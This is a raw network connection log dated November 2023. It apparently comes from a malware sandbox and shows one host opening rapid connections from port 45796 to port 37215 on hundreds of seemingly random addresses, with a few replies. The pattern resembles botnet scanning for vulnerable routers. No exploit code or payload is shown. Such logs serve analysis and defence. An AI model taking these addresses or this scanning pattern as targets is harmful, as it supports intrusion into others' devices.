Nov 19, 2023 09:15:48.616091967 CET	45796	37215	192.168.2.23	197.26.16.104
Nov 19, 2023 09:15:48.616096973 CET	45796	37215	192.168.2.23	156.69.160.58
Nov 19, 2023 09:15:48.616096973 CET	45796	37215	192.168.2.23	156.69.136.97
Nov 19, 2023 09:15:48.616106987 CET	45796	37215	192.168.2.23	197.75.225.184
Nov 19, 2023 09:15:48.616106987 CET	45796	37215	192.168.2.23	197.241.212.136
Nov 19, 2023 09:15:48.616111994 CET	45796	37215	192.168.2.23	156.77.83.61
Nov 19, 2023 09:15:48.616117001 CET	45796	37215	192.168.2.23	41.4.239.43
Nov 19, 2023 09:15:48.616117001 CET	45796	37215	192.168.2.23	41.166.22.146
Nov 19, 2023 09:15:48.616125107 CET	45796	37215	192.168.2.23	156.160.48.95
Nov 19, 2023 09:15:48.616134882 CET	45796	37215	192.168.2.23	197.185.212.248
Nov 19, 2023 09:15:48.616138935 CET	45796	37215	192.168.2.23	197.114.89.5
Nov 19, 2023 09:15:48.616138935 CET	45796	37215	192.168.2.23	156.207.116.190
Nov 19, 2023 09:15:48.616144896 CET	45796	37215	192.168.2.23	41.251.217.65
Nov 19, 2023 09:15:48.616144896 CET	45796	37215	192.168.2.23	41.227.150.84
Nov 19, 2023 09:15:48.616144896 CET	45796	37215	192.168.2.23	41.2.64.183
Nov 19, 2023 09:15:48.616148949 CET	45796	37215	192.168.2.23	41.202.159.104
Nov 19, 2023 09:15:48.616149902 CET	45796	37215	192.168.2.23	197.132.5.84
Nov 19, 2023 09:15:48.616153955 CET	45796	37215	192.168.2.23	156.16.35.174
Nov 19, 2023 09:15:48.616153955 CET	45796	37215	192.168.2.23	197.230.129.202
Nov 19, 2023 09:15:48.616162062 CET	45796	37215	192.168.2.23	156.74.240.226
Nov 19, 2023 09:15:48.616168976 CET	45796	37215	192.168.2.23	197.74.234.32
Nov 19, 2023 09:15:48.616168976 CET	45796	37215	192.168.2.23	156.227.136.83
Nov 19, 2023 09:15:48.616180897 CET	45796	37215	192.168.2.23	197.2.230.196
Nov 19, 2023 09:15:48.616180897 CET	45796	37215	192.168.2.23	41.140.130.183
Nov 19, 2023 09:15:48.616180897 CET	45796	37215	192.168.2.23	197.248.8.2
Nov 19, 2023 09:15:48.616189957 CET	45796	37215	192.168.2.23	41.108.23.221
Nov 19, 2023 09:15:48.616189957 CET	45796	37215	192.168.2.23	41.16.75.116
Nov 19, 2023 09:15:48.616189957 CET	45796	37215	192.168.2.23	156.92.223.192
Nov 19, 2023 09:15:48.616204023 CET	45796	37215	192.168.2.23	41.27.98.200
Nov 19, 2023 09:15:48.616204977 CET	45796	37215	192.168.2.23	41.152.35.241
Nov 19, 2023 09:15:48.616208076 CET	45796	37215	192.168.2.23	41.66.2.182
Nov 19, 2023 09:15:48.616208076 CET	45796	37215	192.168.2.23	156.115.60.224
Nov 19, 2023 09:15:48.616208076 CET	45796	37215	192.168.2.23	156.241.92.155
Nov 19, 2023 09:15:48.616223097 CET	45796	37215	192.168.2.23	156.244.141.33
Nov 19, 2023 09:15:48.616228104 CET	45796	37215	192.168.2.23	156.35.220.94
Nov 19, 2023 09:15:48.616229057 CET	45796	37215	192.168.2.23	156.71.242.40
Nov 19, 2023 09:15:48.616230011 CET	45796	37215	192.168.2.23	156.216.190.28
Nov 19, 2023 09:15:48.616229057 CET	45796	37215	192.168.2.23	41.197.148.44
Nov 19, 2023 09:15:48.616234064 CET	45796	37215	192.168.2.23	41.161.217.10
Nov 19, 2023 09:15:48.616235018 CET	45796	37215	192.168.2.23	156.28.203.228
Nov 19, 2023 09:15:48.616245985 CET	45796	37215	192.168.2.23	156.36.48.178
Nov 19, 2023 09:15:48.616250992 CET	45796	37215	192.168.2.23	197.207.142.39
Nov 19, 2023 09:15:48.616255045 CET	45796	37215	192.168.2.23	41.88.69.101
Nov 19, 2023 09:15:48.616255045 CET	45796	37215	192.168.2.23	156.100.222.55
Nov 19, 2023 09:15:48.616272926 CET	45796	37215	192.168.2.23	41.154.209.191
Nov 19, 2023 09:15:48.616272926 CET	45796	37215	192.168.2.23	41.226.96.61
Nov 19, 2023 09:15:48.616274118 CET	45796	37215	192.168.2.23	41.28.33.117
Nov 19, 2023 09:15:48.616280079 CET	45796	37215	192.168.2.23	197.210.80.175
Nov 19, 2023 09:15:48.616286039 CET	45796	37215	192.168.2.23	156.119.92.197
Nov 19, 2023 09:15:48.616290092 CET	45796	37215	192.168.2.23	197.197.253.67
Nov 19, 2023 09:15:48.616290092 CET	45796	37215	192.168.2.23	156.191.176.169
Nov 19, 2023 09:15:48.616302013 CET	45796	37215	192.168.2.23	156.180.166.46
Nov 19, 2023 09:15:48.616302967 CET	45796	37215	192.168.2.23	156.176.215.117
Nov 19, 2023 09:15:48.616308928 CET	45796	37215	192.168.2.23	197.219.191.59
Nov 19, 2023 09:15:48.616312981 CET	45796	37215	192.168.2.23	197.99.50.105
Nov 19, 2023 09:15:48.616312981 CET	45796	37215	192.168.2.23	197.157.48.131
Nov 19, 2023 09:15:48.616317987 CET	45796	37215	192.168.2.23	41.177.34.93
Nov 19, 2023 09:15:48.616323948 CET	45796	37215	192.168.2.23	156.228.7.242
Nov 19, 2023 09:15:48.616328955 CET	45796	37215	192.168.2.23	197.62.30.25
Nov 19, 2023 09:15:48.616328955 CET	45796	37215	192.168.2.23	197.114.22.104
Nov 19, 2023 09:15:48.616328955 CET	45796	37215	192.168.2.23	156.8.157.230
Nov 19, 2023 09:15:48.616328955 CET	45796	37215	192.168.2.23	156.162.167.35
Nov 19, 2023 09:15:48.616331100 CET	45796	37215	192.168.2.23	156.106.67.139
Nov 19, 2023 09:15:48.616341114 CET	45796	37215	192.168.2.23	197.203.191.206
Nov 19, 2023 09:15:48.616345882 CET	45796	37215	192.168.2.23	41.148.158.216
Nov 19, 2023 09:15:48.616349936 CET	45796	37215	192.168.2.23	156.46.232.90
Nov 19, 2023 09:15:48.616349936 CET	45796	37215	192.168.2.23	197.59.204.118
Nov 19, 2023 09:15:48.616359949 CET	45796	37215	192.168.2.23	41.225.219.164
Nov 19, 2023 09:15:48.616364002 CET	45796	37215	192.168.2.23	197.16.87.154
Nov 19, 2023 09:15:48.616365910 CET	45796	37215	192.168.2.23	41.71.11.120
Nov 19, 2023 09:15:48.616367102 CET	45796	37215	192.168.2.23	156.56.207.0
Nov 19, 2023 09:15:48.616365910 CET	45796	37215	192.168.2.23	41.95.124.84
Nov 19, 2023 09:15:48.616367102 CET	45796	37215	192.168.2.23	156.224.208.87
Nov 19, 2023 09:15:48.616370916 CET	45796	37215	192.168.2.23	156.177.39.86
Nov 19, 2023 09:15:48.616374969 CET	45796	37215	192.168.2.23	156.113.64.233
Nov 19, 2023 09:15:48.616381884 CET	45796	37215	192.168.2.23	197.175.170.54
Nov 19, 2023 09:15:48.616383076 CET	45796	37215	192.168.2.23	156.221.172.165
Nov 19, 2023 09:15:48.616398096 CET	45796	37215	192.168.2.23	197.244.30.53
Nov 19, 2023 09:15:48.616399050 CET	45796	37215	192.168.2.23	156.111.129.118
Nov 19, 2023 09:15:48.616405964 CET	45796	37215	192.168.2.23	41.10.30.136
Nov 19, 2023 09:15:48.616410017 CET	45796	37215	192.168.2.23	156.249.81.70
Nov 19, 2023 09:15:48.616410017 CET	45796	37215	192.168.2.23	156.115.181.165
Nov 19, 2023 09:15:48.616417885 CET	45796	37215	192.168.2.23	41.62.245.29
Nov 19, 2023 09:15:48.616417885 CET	45796	37215	192.168.2.23	41.68.189.19
Nov 19, 2023 09:15:48.616417885 CET	45796	37215	192.168.2.23	41.170.115.124
Nov 19, 2023 09:15:48.616417885 CET	45796	37215	192.168.2.23	156.53.106.122
Nov 19, 2023 09:15:48.616436958 CET	45796	37215	192.168.2.23	156.98.109.154
Nov 19, 2023 09:15:48.616436958 CET	45796	37215	192.168.2.23	156.181.70.113
Nov 19, 2023 09:15:48.616441965 CET	45796	37215	192.168.2.23	197.132.15.146
Nov 19, 2023 09:15:48.616441965 CET	45796	37215	192.168.2.23	197.8.68.236
Nov 19, 2023 09:15:48.616441965 CET	45796	37215	192.168.2.23	197.240.137.201
Nov 19, 2023 09:15:48.616446972 CET	45796	37215	192.168.2.23	156.201.178.128
Nov 19, 2023 09:15:48.616446972 CET	45796	37215	192.168.2.23	41.68.164.140
Nov 19, 2023 09:15:48.616449118 CET	45796	37215	192.168.2.23	156.120.110.188
Nov 19, 2023 09:15:48.616456032 CET	45796	37215	192.168.2.23	156.180.224.209
Nov 19, 2023 09:15:48.616456985 CET	45796	37215	192.168.2.23	197.29.129.84
Nov 19, 2023 09:15:48.616460085 CET	45796	37215	192.168.2.23	156.137.197.89
Nov 19, 2023 09:15:48.616471052 CET	45796	37215	192.168.2.23	41.212.52.143
Nov 19, 2023 09:15:48.616487980 CET	45796	37215	192.168.2.23	156.161.182.1
Nov 19, 2023 09:15:48.616488934 CET	45796	37215	192.168.2.23	156.20.28.78
Nov 19, 2023 09:15:48.616491079 CET	45796	37215	192.168.2.23	197.84.12.189
Nov 19, 2023 09:15:48.616498947 CET	45796	37215	192.168.2.23	156.178.231.150
Nov 19, 2023 09:15:48.616512060 CET	45796	37215	192.168.2.23	197.189.122.182
Nov 19, 2023 09:15:48.616518974 CET	45796	37215	192.168.2.23	197.142.31.213
Nov 19, 2023 09:15:48.616523981 CET	45796	37215	192.168.2.23	41.16.127.190
Nov 19, 2023 09:15:48.616523981 CET	45796	37215	192.168.2.23	156.216.116.178
Nov 19, 2023 09:15:48.616524935 CET	45796	37215	192.168.2.23	156.116.189.251
Nov 19, 2023 09:15:48.616532087 CET	45796	37215	192.168.2.23	41.38.150.112
Nov 19, 2023 09:15:48.616533041 CET	45796	37215	192.168.2.23	156.9.233.75
Nov 19, 2023 09:15:48.616533041 CET	45796	37215	192.168.2.23	197.72.177.105
Nov 19, 2023 09:15:48.616535902 CET	45796	37215	192.168.2.23	41.225.20.148
Nov 19, 2023 09:15:48.616537094 CET	45796	37215	192.168.2.23	156.231.196.137
Nov 19, 2023 09:15:48.616537094 CET	45796	37215	192.168.2.23	41.104.152.115
Nov 19, 2023 09:15:48.616545916 CET	45796	37215	192.168.2.23	197.205.223.99
Nov 19, 2023 09:15:48.616560936 CET	45796	37215	192.168.2.23	156.192.56.99
Nov 19, 2023 09:15:48.616563082 CET	45796	37215	192.168.2.23	197.186.139.66
Nov 19, 2023 09:15:48.616573095 CET	45796	37215	192.168.2.23	156.100.4.245
Nov 19, 2023 09:15:48.616575003 CET	45796	37215	192.168.2.23	197.124.75.38
Nov 19, 2023 09:15:48.616575003 CET	45796	37215	192.168.2.23	41.100.4.203
Nov 19, 2023 09:15:48.616585970 CET	45796	37215	192.168.2.23	156.251.253.213
Nov 19, 2023 09:15:48.616594076 CET	45796	37215	192.168.2.23	197.10.90.132
Nov 19, 2023 09:15:48.616599083 CET	45796	37215	192.168.2.23	197.32.201.43
Nov 19, 2023 09:15:48.616599083 CET	45796	37215	192.168.2.23	41.67.34.142
Nov 19, 2023 09:15:48.616599083 CET	45796	37215	192.168.2.23	197.139.22.136
Nov 19, 2023 09:15:48.616599083 CET	45796	37215	192.168.2.23	41.48.146.240
Nov 19, 2023 09:15:48.616601944 CET	45796	37215	192.168.2.23	197.249.81.81
Nov 19, 2023 09:15:48.616601944 CET	45796	37215	192.168.2.23	197.138.120.176
Nov 19, 2023 09:15:48.616616011 CET	45796	37215	192.168.2.23	197.102.79.129
Nov 19, 2023 09:15:48.616616011 CET	45796	37215	192.168.2.23	41.16.180.248
Nov 19, 2023 09:15:48.616625071 CET	45796	37215	192.168.2.23	41.128.55.226
Nov 19, 2023 09:15:48.616627932 CET	45796	37215	192.168.2.23	41.114.165.125
Nov 19, 2023 09:15:48.616630077 CET	45796	37215	192.168.2.23	156.117.205.189
Nov 19, 2023 09:15:48.616648912 CET	45796	37215	192.168.2.23	197.201.61.120
Nov 19, 2023 09:15:48.616648912 CET	45796	37215	192.168.2.23	156.27.27.159
Nov 19, 2023 09:15:48.616661072 CET	45796	37215	192.168.2.23	197.1.131.184
Nov 19, 2023 09:15:48.616661072 CET	45796	37215	192.168.2.23	197.232.253.53
Nov 19, 2023 09:15:48.616673946 CET	45796	37215	192.168.2.23	156.30.202.193
Nov 19, 2023 09:15:48.616674900 CET	45796	37215	192.168.2.23	156.92.221.181
Nov 19, 2023 09:15:48.616677999 CET	45796	37215	192.168.2.23	197.147.46.174
Nov 19, 2023 09:15:48.616677999 CET	45796	37215	192.168.2.23	156.111.235.197
Nov 19, 2023 09:15:48.616681099 CET	45796	37215	192.168.2.23	156.113.82.85
Nov 19, 2023 09:15:48.616681099 CET	45796	37215	192.168.2.23	197.12.69.171
Nov 19, 2023 09:15:48.616693020 CET	45796	37215	192.168.2.23	156.104.151.252
Nov 19, 2023 09:15:48.616694927 CET	45796	37215	192.168.2.23	156.197.214.224
Nov 19, 2023 09:15:48.616703987 CET	45796	37215	192.168.2.23	41.239.226.132
Nov 19, 2023 09:15:48.616703987 CET	45796	37215	192.168.2.23	41.230.122.228
Nov 19, 2023 09:15:48.616719961 CET	45796	37215	192.168.2.23	41.23.33.235
Nov 19, 2023 09:15:48.616722107 CET	45796	37215	192.168.2.23	156.17.202.211
Nov 19, 2023 09:15:48.616722107 CET	45796	37215	192.168.2.23	41.210.72.99
Nov 19, 2023 09:15:48.616724968 CET	45796	37215	192.168.2.23	41.48.234.184
Nov 19, 2023 09:15:48.616729975 CET	45796	37215	192.168.2.23	156.48.103.152
Nov 19, 2023 09:15:48.616733074 CET	45796	37215	192.168.2.23	41.240.128.7
Nov 19, 2023 09:15:48.616753101 CET	45796	37215	192.168.2.23	197.14.127.172
Nov 19, 2023 09:15:48.616753101 CET	45796	37215	192.168.2.23	197.87.215.93
Nov 19, 2023 09:15:48.616755009 CET	45796	37215	192.168.2.23	197.250.150.227
Nov 19, 2023 09:15:48.616755962 CET	45796	37215	192.168.2.23	41.183.75.196
Nov 19, 2023 09:15:48.616755962 CET	45796	37215	192.168.2.23	156.19.128.134
Nov 19, 2023 09:15:48.616755962 CET	45796	37215	192.168.2.23	197.9.156.28
Nov 19, 2023 09:15:48.616756916 CET	45796	37215	192.168.2.23	41.252.27.200
Nov 19, 2023 09:15:48.616767883 CET	45796	37215	192.168.2.23	197.18.194.27
Nov 19, 2023 09:15:48.616775036 CET	45796	37215	192.168.2.23	197.87.248.148
Nov 19, 2023 09:15:48.713628054 CET	37215	45796	156.96.204.137	192.168.2.23
Nov 19, 2023 09:15:48.847614050 CET	37215	45796	197.246.172.167	192.168.2.23
Nov 19, 2023 09:15:48.966150999 CET	37215	45796	197.232.253.53	192.168.2.23
Nov 19, 2023 09:15:48.992934942 CET	37215	45796	197.8.68.236	192.168.2.23
Nov 19, 2023 09:15:49.196225882 CET	42836	443	192.168.2.23	91.189.91.43
Nov 19, 2023 09:15:49.617825031 CET	45796	37215	192.168.2.23	156.244.67.139
Nov 19, 2023 09:15:49.617830992 CET	45796	37215	192.168.2.23	41.11.160.14
Nov 19, 2023 09:15:49.617851019 CET	45796	37215	192.168.2.23	41.186.37.162
Nov 19, 2023 09:15:49.617856026 CET	45796	37215	192.168.2.23	197.162.51.147
Nov 19, 2023 09:15:49.617855072 CET	45796	37215	192.168.2.23	41.168.216.86
Nov 19, 2023 09:15:49.617870092 CET	45796	37215	192.168.2.23	197.111.6.125
Nov 19, 2023 09:15:49.617870092 CET	45796	37215	192.168.2.23	197.155.165.38
Nov 19, 2023 09:15:49.617866993 CET	45796	37215	192.168.2.23	156.15.234.21
Nov 19, 2023 09:15:49.617877960 CET	45796	37215	192.168.2.23	156.132.86.135
Nov 19, 2023 09:15:49.617877960 CET	45796	37215	192.168.2.23	41.162.62.242
Nov 19, 2023 09:15:49.617866993 CET	45796	37215	192.168.2.23	41.167.24.143
Nov 19, 2023 09:15:49.617866993 CET	45796	37215	192.168.2.23	156.249.181.144
Nov 19, 2023 09:15:49.617886066 CET	45796	37215	192.168.2.23	156.33.143.58
Nov 19, 2023 09:15:49.617886066 CET	45796	37215	192.168.2.23	41.58.93.177
Nov 19, 2023 09:15:49.617886066 CET	45796	37215	192.168.2.23	197.18.186.37
Nov 19, 2023 09:15:49.617887020 CET	45796	37215	192.168.2.23	41.200.146.91
Nov 19, 2023 09:15:49.617886066 CET	45796	37215	192.168.2.23	197.228.147.239
Nov 19, 2023 09:15:49.617898941 CET	45796	37215	192.168.2.23	197.128.151.9
Nov 19, 2023 09:15:49.617904902 CET	45796	37215	192.168.2.23	41.0.103.218
Nov 19, 2023 09:15:49.617907047 CET	45796	37215	192.168.2.23	197.68.30.40
Nov 19, 2023 09:15:49.617911100 CET	45796	37215	192.168.2.23	197.72.58.130
Nov 19, 2023 09:15:49.617913008 CET	45796	37215	192.168.2.23	156.188.250.182
Nov 19, 2023 09:15:49.617917061 CET	45796	37215	192.168.2.23	41.186.41.156
Nov 19, 2023 09:15:49.617930889 CET	45796	37215	192.168.2.23	41.178.125.166
Nov 19, 2023 09:15:49.617935896 CET	45796	37215	192.168.2.23	156.184.252.119
Nov 19, 2023 09:15:49.617935896 CET	45796	37215	192.168.2.23	41.38.252.5
Nov 19, 2023 09:15:49.617935896 CET	45796	37215	192.168.2.23	197.149.181.73
Nov 19, 2023 09:15:49.617935896 CET	45796	37215	192.168.2.23	156.179.226.198
Nov 19, 2023 09:15:49.617939949 CET	45796	37215	192.168.2.23	197.100.102.88
Nov 19, 2023 09:15:49.617935896 CET	45796	37215	192.168.2.23	41.92.173.188
Nov 19, 2023 09:15:49.617935896 CET	45796	37215	192.168.2.23	41.137.52.15
Nov 19, 2023 09:15:49.617944956 CET	45796	37215	192.168.2.23	156.230.59.65
Nov 19, 2023 09:15:49.617953062 CET	45796	37215	192.168.2.23	156.87.147.81
Nov 19, 2023 09:15:49.617953062 CET	45796	37215	192.168.2.23	156.73.20.142
Nov 19, 2023 09:15:49.617965937 CET	45796	37215	192.168.2.23	156.187.55.94
Nov 19, 2023 09:15:49.617965937 CET	45796	37215	192.168.2.23	156.111.254.68
Nov 19, 2023 09:15:49.617975950 CET	45796	37215	192.168.2.23	197.23.70.42
Nov 19, 2023 09:15:49.617981911 CET	45796	37215	192.168.2.23	41.126.49.253
Nov 19, 2023 09:15:49.617983103 CET	45796	37215	192.168.2.23	41.171.34.46
Nov 19, 2023 09:15:49.617981911 CET	45796	37215	192.168.2.23	197.56.184.70
Nov 19, 2023 09:15:49.617981911 CET	45796	37215	192.168.2.23	197.192.37.224
Nov 19, 2023 09:15:49.618000031 CET	45796	37215	192.168.2.23	41.175.115.17
Nov 19, 2023 09:15:49.617999077 CET	45796	37215	192.168.2.23	197.98.142.60
Nov 19, 2023 09:15:49.617999077 CET	45796	37215	192.168.2.23	41.185.103.192
Nov 19, 2023 09:15:49.617999077 CET	45796	37215	192.168.2.23	197.72.228.242
Nov 19, 2023 09:15:49.617999077 CET	45796	37215	192.168.2.23	156.127.64.159
Nov 19, 2023 09:15:49.618010998 CET	45796	37215	192.168.2.23	156.187.229.45
Nov 19, 2023 09:15:49.618010998 CET	45796	37215	192.168.2.23	41.217.179.168
Nov 19, 2023 09:15:49.618010998 CET	45796	37215	192.168.2.23	197.36.214.29
Nov 19, 2023 09:15:49.618010998 CET	45796	37215	192.168.2.23	156.205.190.234
Nov 19, 2023 09:15:49.618010998 CET	45796	37215	192.168.2.23	197.249.216.76
Nov 19, 2023 09:15:49.618012905 CET	45796	37215	192.168.2.23	156.71.185.139
Nov 19, 2023 09:15:49.618026972 CET	45796	37215	192.168.2.23	41.5.127.11
Nov 19, 2023 09:15:49.618029118 CET	45796	37215	192.168.2.23	41.212.142.98
Nov 19, 2023 09:15:49.618029118 CET	45796	37215	192.168.2.23	156.243.214.59
Nov 19, 2023 09:15:49.618041039 CET	45796	37215	192.168.2.23	197.119.203.12
Nov 19, 2023 09:15:49.618041992 CET	45796	37215	192.168.2.23	197.58.226.79
Nov 19, 2023 09:15:49.618041992 CET	45796	37215	192.168.2.23	41.139.209.23
Nov 19, 2023 09:15:49.618041992 CET	45796	37215	192.168.2.23	41.109.107.245
Nov 19, 2023 09:15:49.618046999 CET	45796	37215	192.168.2.23	197.40.255.31
Nov 19, 2023 09:15:49.618048906 CET	45796	37215	192.168.2.23	156.15.232.166
Nov 19, 2023 09:15:49.618048906 CET	45796	37215	192.168.2.23	197.49.200.86
Nov 19, 2023 09:15:49.618046999 CET	45796	37215	192.168.2.23	197.49.109.143
Nov 19, 2023 09:15:49.618057966 CET	45796	37215	192.168.2.23	41.155.86.120
Nov 19, 2023 09:15:49.618063927 CET	45796	37215	192.168.2.23	197.28.91.190
Nov 19, 2023 09:15:49.618066072 CET	45796	37215	192.168.2.23	197.190.183.229
Nov 19, 2023 09:15:49.618066072 CET	45796	37215	192.168.2.23	156.121.29.73
Nov 19, 2023 09:15:49.618072987 CET	45796	37215	192.168.2.23	41.207.113.171
Nov 19, 2023 09:15:49.618072987 CET	45796	37215	192.168.2.23	156.130.24.12
Nov 19, 2023 09:15:49.618079901 CET	45796	37215	192.168.2.23	197.83.182.174
Nov 19, 2023 09:15:49.618079901 CET	45796	37215	192.168.2.23	197.76.93.3
Nov 19, 2023 09:15:49.618079901 CET	45796	37215	192.168.2.23	197.102.1.220
Nov 19, 2023 09:15:49.618079901 CET	45796	37215	192.168.2.23	41.131.0.35
Nov 19, 2023 09:15:49.618079901 CET	45796	37215	192.168.2.23	41.208.37.94
Nov 19, 2023 09:15:49.618088961 CET	45796	37215	192.168.2.23	156.4.182.49
Nov 19, 2023 09:15:49.618094921 CET	45796	37215	192.168.2.23	41.213.196.113
Nov 19, 2023 09:15:49.618103027 CET	45796	37215	192.168.2.23	156.91.85.123
Nov 19, 2023 09:15:49.618104935 CET	45796	37215	192.168.2.23	41.113.51.29
Nov 19, 2023 09:15:49.618112087 CET	45796	37215	192.168.2.23	41.96.4.109
Nov 19, 2023 09:15:49.618115902 CET	45796	37215	192.168.2.23	41.41.82.53
Nov 19, 2023 09:15:49.618117094 CET	45796	37215	192.168.2.23	41.103.160.248
Nov 19, 2023 09:15:49.618120909 CET	45796	37215	192.168.2.23	41.2.141.96
Nov 19, 2023 09:15:49.618134022 CET	45796	37215	192.168.2.23	197.242.134.60
Nov 19, 2023 09:15:49.618134022 CET	45796	37215	192.168.2.23	41.234.236.27
Nov 19, 2023 09:15:49.618139029 CET	45796	37215	192.168.2.23	197.25.127.69
Nov 19, 2023 09:15:49.618145943 CET	45796	37215	192.168.2.23	197.137.5.158
Nov 19, 2023 09:15:49.618149996 CET	45796	37215	192.168.2.23	156.144.136.75
Nov 19, 2023 09:15:49.618149996 CET	45796	37215	192.168.2.23	197.254.179.110
Nov 19, 2023 09:15:49.618149996 CET	45796	37215	192.168.2.23	197.170.132.172
Nov 19, 2023 09:15:49.618150949 CET	45796	37215	192.168.2.23	156.83.112.252
Nov 19, 2023 09:15:49.618150949 CET	45796	37215	192.168.2.23	41.108.128.162
Nov 19, 2023 09:15:49.618158102 CET	45796	37215	192.168.2.23	156.30.45.106
Nov 19, 2023 09:15:49.618158102 CET	45796	37215	192.168.2.23	156.177.32.172
Nov 19, 2023 09:15:49.618170023 CET	45796	37215	192.168.2.23	156.12.128.161
Nov 19, 2023 09:15:49.618172884 CET	45796	37215	192.168.2.23	41.110.237.125
Nov 19, 2023 09:15:49.618180990 CET	45796	37215	192.168.2.23	156.178.251.3
Nov 19, 2023 09:15:49.618181944 CET	45796	37215	192.168.2.23	41.216.43.164
Nov 19, 2023 09:15:49.618185997 CET	45796	37215	192.168.2.23	197.33.249.168
Nov 19, 2023 09:15:49.618185997 CET	45796	37215	192.168.2.23	41.151.245.149
Nov 19, 2023 09:15:49.618187904 CET	45796	37215	192.168.2.23	41.65.121.32
Nov 19, 2023 09:15:49.618190050 CET	45796	37215	192.168.2.23	41.110.152.155
Nov 19, 2023 09:15:49.618190050 CET	45796	37215	192.168.2.23	156.200.44.82
Nov 19, 2023 09:15:49.618199110 CET	45796	37215	192.168.2.23	41.52.105.116
Nov 19, 2023 09:15:49.618202925 CET	45796	37215	192.168.2.23	156.146.75.227
Nov 19, 2023 09:15:49.618202925 CET	45796	37215	192.168.2.23	156.179.238.131
Nov 19, 2023 09:15:49.618207932 CET	45796	37215	192.168.2.23	156.102.225.92
Nov 19, 2023 09:15:49.618211985 CET	45796	37215	192.168.2.23	156.52.14.148
Nov 19, 2023 09:15:49.618216038 CET	45796	37215	192.168.2.23	156.50.40.44
Nov 19, 2023 09:15:49.618238926 CET	45796	37215	192.168.2.23	41.65.94.209
Nov 19, 2023 09:15:49.618240118 CET	45796	37215	192.168.2.23	197.200.175.212
Nov 19, 2023 09:15:49.618240118 CET	45796	37215	192.168.2.23	41.65.241.192
Nov 19, 2023 09:15:49.618242025 CET	45796	37215	192.168.2.23	156.178.140.129
Nov 19, 2023 09:15:49.618240118 CET	45796	37215	192.168.2.23	41.10.114.10
Nov 19, 2023 09:15:49.618243933 CET	45796	37215	192.168.2.23	156.34.20.3
Nov 19, 2023 09:15:49.618242025 CET	45796	37215	192.168.2.23	41.153.193.133
Nov 19, 2023 09:15:49.618252039 CET	45796	37215	192.168.2.23	197.61.151.199
Nov 19, 2023 09:15:49.618252039 CET	45796	37215	192.168.2.23	41.232.206.161
Nov 19, 2023 09:15:49.618256092 CET	45796	37215	192.168.2.23	156.255.138.157
Nov 19, 2023 09:15:49.618256092 CET	45796	37215	192.168.2.23	41.241.100.181
Nov 19, 2023 09:15:49.618266106 CET	45796	37215	192.168.2.23	197.141.47.54
Nov 19, 2023 09:15:49.618266106 CET	45796	37215	192.168.2.23	156.80.115.19
Nov 19, 2023 09:15:49.618268967 CET	45796	37215	192.168.2.23	41.251.6.180
Nov 19, 2023 09:15:49.618268967 CET	45796	37215	192.168.2.23	197.55.51.18
Nov 19, 2023 09:15:49.618272066 CET	45796	37215	192.168.2.23	197.61.149.169
Nov 19, 2023 09:15:49.618274927 CET	45796	37215	192.168.2.23	41.57.250.104
Nov 19, 2023 09:15:49.618287086 CET	45796	37215	192.168.2.23	156.13.247.87
Nov 19, 2023 09:15:49.618287086 CET	45796	37215	192.168.2.23	41.46.170.251
Nov 19, 2023 09:15:49.618298054 CET	45796	37215	192.168.2.23	41.94.56.121
Nov 19, 2023 09:15:49.618298054 CET	45796	37215	192.168.2.23	41.72.210.97
Nov 19, 2023 09:15:49.618298054 CET	45796	37215	192.168.2.23	41.160.246.147
Nov 19, 2023 09:15:49.618298054 CET	45796	37215	192.168.2.23	197.167.242.135
Nov 19, 2023 09:15:49.618298054 CET	45796	37215	192.168.2.23	156.166.88.97
Nov 19, 2023 09:15:49.618309021 CET	45796	37215	192.168.2.23	156.181.3.197
Nov 19, 2023 09:15:49.618315935 CET	45796	37215	192.168.2.23	41.59.17.247
Nov 19, 2023 09:15:49.618316889 CET	45796	37215	192.168.2.23	197.179.190.173
Nov 19, 2023 09:15:49.618315935 CET	45796	37215	192.168.2.23	41.186.17.158
Nov 19, 2023 09:15:49.618321896 CET	45796	37215	192.168.2.23	156.140.111.100
Nov 19, 2023 09:15:49.618326902 CET	45796	37215	192.168.2.23	197.197.178.75
Nov 19, 2023 09:15:49.618328094 CET	45796	37215	192.168.2.23	156.248.51.206
Nov 19, 2023 09:15:49.618330002 CET	45796	37215	192.168.2.23	197.213.191.6
Nov 19, 2023 09:15:49.618336916 CET	45796	37215	192.168.2.23	156.17.6.133
Nov 19, 2023 09:15:49.618340969 CET	45796	37215	192.168.2.23	41.227.32.156
Nov 19, 2023 09:15:49.618340969 CET	45796	37215	192.168.2.23	156.243.34.5
Nov 19, 2023 09:15:49.618355989 CET	45796	37215	192.168.2.23	41.246.137.52
Nov 19, 2023 09:15:49.618355989 CET	45796	37215	192.168.2.23	156.134.211.72
Nov 19, 2023 09:15:49.618366957 CET	45796	37215	192.168.2.23	156.81.1.198
Nov 19, 2023 09:15:49.618369102 CET	45796	37215	192.168.2.23	197.237.99.166
Nov 19, 2023 09:15:49.618370056 CET	45796	37215	192.168.2.23	156.232.246.192
Nov 19, 2023 09:15:49.618391037 CET	45796	37215	192.168.2.23	197.70.125.121
Nov 19, 2023 09:15:49.618392944 CET	45796	37215	192.168.2.23	197.52.183.121
Nov 19, 2023 09:15:49.618392944 CET	45796	37215	192.168.2.23	197.240.51.11
Nov 19, 2023 09:15:49.618393898 CET	45796	37215	192.168.2.23	197.244.114.222
Nov 19, 2023 09:15:49.618393898 CET	45796	37215	192.168.2.23	156.152.52.165
Nov 19, 2023 09:15:49.618393898 CET	45796	37215	192.168.2.23	41.158.255.141
Nov 19, 2023 09:15:49.618393898 CET	45796	37215	192.168.2.23	41.108.209.233
Nov 19, 2023 09:15:49.618407011 CET	45796	37215	192.168.2.23	156.52.174.110
Nov 19, 2023 09:15:49.618407011 CET	45796	37215	192.168.2.23	197.83.106.83
Nov 19, 2023 09:15:49.618418932 CET	45796	37215	192.168.2.23	197.139.188.163
Nov 19, 2023 09:15:49.618422031 CET	45796	37215	192.168.2.23	41.110.7.158
Nov 19, 2023 09:15:49.618424892 CET	45796	37215	192.168.2.23	197.66.110.234
Nov 19, 2023 09:15:49.618429899 CET	45796	37215	192.168.2.23	41.105.219.66
Nov 19, 2023 09:15:49.618429899 CET	45796	37215	192.168.2.23	41.18.227.140
Nov 19, 2023 09:15:49.618429899 CET	45796	37215	192.168.2.23	156.150.63.135
Nov 19, 2023 09:15:49.618446112 CET	45796	37215	192.168.2.23	41.176.146.28
Nov 19, 2023 09:15:49.618448973 CET	45796	37215	192.168.2.23	41.3.209.1
Nov 19, 2023 09:15:49.618448973 CET	45796	37215	192.168.2.23	41.83.197.52
Nov 19, 2023 09:15:49.618448973 CET	45796	37215	192.168.2.23	197.25.140.51
